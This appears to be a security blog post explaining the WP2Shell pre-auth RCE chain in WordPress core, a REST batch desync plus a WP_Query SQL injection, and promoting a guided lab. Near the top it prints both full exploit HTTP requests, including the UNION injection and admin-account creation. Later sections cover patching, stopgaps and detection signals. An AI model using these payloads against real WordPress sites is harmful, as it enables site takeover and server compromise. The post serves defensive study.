WP2Shell is a full unauthenticated remote code execution chain in WordPress core, disclosed in July 2026. It chains CVE-2026-63030 and CVE-2026-60137 into a pre-auth RCE, and neither bug looks like code execution on its own. I rebuilt the whole chain as a guided, in-browser lab so you can walk through every step.
WordPress shipped 7.0.2 on 17 July 2026, and three days later Adam Kues at Searchlight Cyber published the research behind it: wp2shell, an unauthenticated remote code execution in WordPress core. I read through it and couldn’t leave it as just a writeup, so I spent the weekend rebuilding the whole chain as a lab you can run to understand the purpose of each step.
What is WP2Shell?
WP2Shell is a pre-authentication remote code execution chain in WordPress core. It abuses a route-confusion bug in the REST API batch endpoint (/wp-json/batch/v1) to bypass WordPress’s normal request validation. Then it reaches an SQL injection inside WP_Query, and from there works its way up to creating an administrator and running commands on the server. No plugin, no custom theme and no misconfiguration is required. It works on a default WordPress install.
Two CVEs make it possible: CVE-2026-63030, a batch-route desynchronization in the REST API, reported by Kues, and CVE-2026-60137, an SQL injection in WP_Query, reported separately by TF1T, dtro and haongo. The SQL injection is rated Moderate on its own. The batch-route bug is rated Critical, and it is rated that way entirely because of what it unlocks when the two are combined.
Affected versions:
| WordPress version | Impact | Fixed in |
|---|---|---|
| 6.8.0 – 6.8.5 | SQL injection only | 6.8.6 |
| 6.9.0 – 6.9.4 | Full pre-auth RCE | 6.9.5 |
| 7.0.0 – 7.0.1 | Full pre-auth RCE | 7.0.2 |
If you run WordPress, this is a patch-now issue. An internet-facing, unpatched install should be treated as potentially already compromised.
The exploit, up front
Before I explain anything, here is the entire exploit. Two HTTP requests against a default WordPress install.
Request 1 — seed the oEmbed cache rows
POST /wp-json/batch/v1 HTTP/1.1
Host: target-wordpress-site
Content-Type: application/json
{
"requests": [
{
"method": "POST",
"path": "http://:"
},
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{
"method": "GET",
"path": "http://:"
},
{
"method": "DELETE",
"path": "/wp/v2/posts/1",
"body": {
"author_exclude": "2) AND 1=0 UNION SELECT 0,2,'2026-07-20 12:00:00','2026-07-20 11:00:00','[embed width=\"500\" height=\"750\"]/?p=910005&wpsec_seed=uphack-future-outer[/embed] [embed width=\"500\" height=\"750\"]/?p=910005&wpsec_seed=uphack-future-changeset[/embed] [embed width=\"500\" height=\"750\"]/?p=910005&wpsec_seed=uphack-future-dispatch[/embed]','UPHACK Future Embed Seed','', 'publish','open','open','','uphack-future-embed-seed','','','2026-07-20 12:00:00','2026-07-20 11:00:00','',0,'http://localhost:5080/?p=0',0,'post','',0 -- ",
"per_page": 501,
"orderby": "none"
}
},
{
"method": "GET",
"path": "/wp/v2/posts"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}
Request 2 — the desync, the injection, and the forged admin
POST /wp-json/batch/v1 HTTP/1.1
Host: target-wordpress-site
Content-Type: application/json
{
"requests": [
{ "method": "POST", "path": "http://:" },
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{ "method": "GET", "path": "http://:" },
{
"method": "DELETE",
"path": "/wp/v2/posts/1",
"body": {
"author_exclude": "2) AND 1=0 UNION SELECT 7,2,'2000-01-01 00:00:00','2000-01-01 00:00:00','','UPHACK O','','publish','open','open','','33de025492bd6e06a637122673b41821','','','2000-01-01 00:00:00','2000-01-01 00:00:00','',8,'http://localhost:5080/?p=7',0,'oembed_cache','',0 UNION SELECT 8,1,'2000-01-01 00:00:00','2000-01-01 00:00:00',JSON_OBJECT('nav_menus_created_posts',JSON_OBJECT('value',JSON_ARRAY(910006),'type','option','user_id',1)),'UPHACK C','','future','closed','closed','','11111111-1111-4111-8111-111111111111','','','2000-01-01 00:00:00','2000-01-01 00:00:00','',8,'http://localhost:5080/?p=8',0,'customize_changeset','',0 UNION SELECT 910006,1,'2026-07-20 12:00:00','2026-07-20 11:00:00','','UPHACK P','','draft','closed','closed','','uphack-p','','','2026-07-20 12:00:00','2026-07-20 11:00:00','',9,'http://localhost:5080/?p=910006',0,'page','',0 UNION SELECT 9,1,'2026-07-20 12:00:00','2026-07-20 11:00:00','','UPHACK D','','parse','closed','closed','','7a68b67ad445b4da4c71ae9560096793','','','2026-07-20 12:00:00','2026-07-20 11:00:00','',9,'http://localhost:5080/?p=9',0,'request','',0 UNION SELECT 910005,2,'2026-07-20 12:00:00','2026-07-20 11:00:00','UPHACK S SOURCE','UPHACK S','','publish','open','open','','uphack-s','','','2026-07-20 12:00:00','2026-07-20 11:00:00','',0,'http://localhost:5080/?p=910005',0,'post','',0 UNION SELECT 0,2,'2026-07-20 12:00:00','2026-07-20 11:00:00','[embed width=\"500\" height=\"750\"]/?p=910005&wpsec_seed=uphack-future-outer[/embed]','UPHACK T','','publish','open','open','','uphack-t','','','2026-07-20 12:00:00','2026-07-20 11:00:00','',0,'http://localhost:5080/?p=0',0,'post','',0 -- ",
"per_page": 501,
"orderby": "none"
}
},
{ "method": "GET", "path": "/wp/v2/posts" }
]
}
},
{ "method": "POST", "path": "/batch/v1" },
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"username": "wp2shelllab",
"email": "[email protected]",
"password": "WP2shell-Lab-2026!",
"roles": ["administrator"]
}
},
{ "method": "POST", "path": "/wp/v2/users" }
]
}
That is the whole exploit. Two POSTs to a batch endpoint, and you go from no account and no session to holding an administrator account, and from there to running commands on the server.
Those are the exact payloads from the lab, which is also why they are pinned to it. The http://localhost:5080/?p=... GUIDs point at my lab origin, and the rows referencing IDs 7, 8 and 9 assume the first request landed on a clean database. On any other install those values shift, and the two hash-looking slugs have to be recomputed to match the seeds. That dependence on exact database state is a real property of the chain, not an artifact of my setup, and it is much easier to see when you own the database.
It looks simple, but it isn’t
If you only look at the payloads, it doesn’t seem like the most complex chain you’ve ever seen. Two requests to /wp-json/batch/v1, some nested JSON, and an author_exclude value that is obviously a SQL injection. The natural assumption is that the middle steps of the chain are boring: inject, insert an admin into the users table, log in. None of it works that way.
The two things you can already see in that payload, the batch request and the injection it carries, are the two CVEs:
- CVE-2026-63030 is a batch-route desynchronization in the REST API. A malformed request path shifts the internal alignment between validation and execution, so a request body gets validated under one schema but executed by a completely different handler. That desync is what smuggles the request past validation in the first place.
- CVE-2026-60137 is a conditional sanitization gap in
WP_Query. A scalarauthor_excludevalue slips past theabsint()normalization that an array would have gone through, and reaches the SQL query unchecked. This is the SQL injection itself.
Together they give you an unauthenticated SQL injection. But this is where things gets complicated, because the injection is read-only. It lands inside a SELECT that WP_Query builds, and it runs through a code path that does not allow stacked queries. You can UNION your own rows into the result set, but you cannot write anything. You can’t “just insert an admin” through the injection alone. So the entire second half of the exploit exists to answer one question: how do you turn a read-only injection into a write?
The answer is that you don’t write directly. You forge rows through the UNION, let WordPress hydrate them into real WP_Post objects, and store those objects in the object cache. Then you let WordPress itself do the writing for you.
This is the part that surprised me most. I don’t have much experience with WordPress internals, had no idea these mechanisms even existed, and it took me a while to understand how they fit together.
The forged, cached objects get picked up by a series of completely legitimate WordPress subsystems, each doing exactly what it was designed to do: oEmbed cache refresh, Customizer changeset application, parent-cycle repair, and dynamic hook dispatch. During that dispatch, WordPress is briefly acting as an administrator, and that is the moment the real writes happen and an admin account is created. From there, an administrator can upload a plugin, and WordPress grants code execution to admins by design.
WordPress has been around for twenty years and is one of the most audited codebases on the internet. A pre-authentication RCE in core in 2026 is rare on its own. One that works entirely by abusing intended behavior is the kind of bug you remember.
Everything from here on is something you can drive yourself against a real WordPress 7.0.1 install in the lab, including the parts of the chain that are hard to believe until you watch them happen.
How to fix CVE-2026-63030 and CVE-2026-60137
Patch. Update to the fixed release for your branch: 7.0.2, 6.9.5, or 6.8.6. This is the only real fix, and it should come first.
If you cannot patch immediately:
- Block anonymous access to
/wp-json/batch/v1at your edge (WAF or reverse proxy), or disable anonymous REST access with a hardening plugin. Treat this as a stopgap, not a fix. - Assume compromise on any exposed, unpatched instance. Look for unexpected administrator accounts and unfamiliar plugin files before you consider the site clean.
Under the hood, the patch breaks the chain in three independent places: it keeps the batch validation and execution arrays aligned so a failed route can no longer be paired with the wrong handler, it normalizes author__not_in through wp_parse_id_list() so a scalar can no longer skip sanitization, and it stops the REST server from re-entering dispatch while a dispatch is already in progress. Each fix alone is enough to break the exploit. The lab walks through all three.
How to detect WP2Shell exploitation
Elastic Security Labs published a detailed detection writeup for WP2Shell. The short version: the durable signal is behavioral, not the specific payload.
In web and access logs:
POSTrequests to/wp-json/batch/v1(or/?rest_route=/batch/v1) carrying a nestedrequestsarray.HTTP 207 Multi-Statusresponses on those batch requests.- Public proof-of-concepts ship tell-tale User-Agents (
wp2shell,cve-2026-63030), but those are trivial to change, so don’t lean on them.
On the host:
- The web server user (
apache2,httpd,php-fpm) creating PHP files underwp-content/plugins/, often in a directory named likewp2shell_<hex>. - The web server spawning a shell (
sh,dash,bash) that runs discovery commands such asid,whoami, orhostname. Web server to shell to recon is the strongest tell in the whole chain. - Short-lived
temp-write-test-*files underwp-content/as the exploit probes for writeability. - A new administrator account appearing with no corresponding admin action.
Reproduce it yourself
id running on the WordPress host, reached from an anonymous request.The chain probably sounds a bit too complicated to understand just by reading about it if you don’t have experience with WP internals. This is the kind of chain you can read about five times and still not really understand until you have driven every step. So I rebuilt it.
The lab runs a controlled WordPress 7.0.1 install entirely in your browser, no setup required. It’s a 28-step guided investigation, roughly 45 minutes end to end. You send the requests through a built-in proxy, watch the desync happen, prove the injection, poison the object cache, forge the admin, then upload a plugin and run id.
I explain every phase along the way, including the parts that make the chain hard to follow: why the ID-only UNION is a dead end, how per_page: 501 pushes WP_Query past the split-query threshold and onto the full-row path, and why the whole thing needs exactly two requests instead of one.
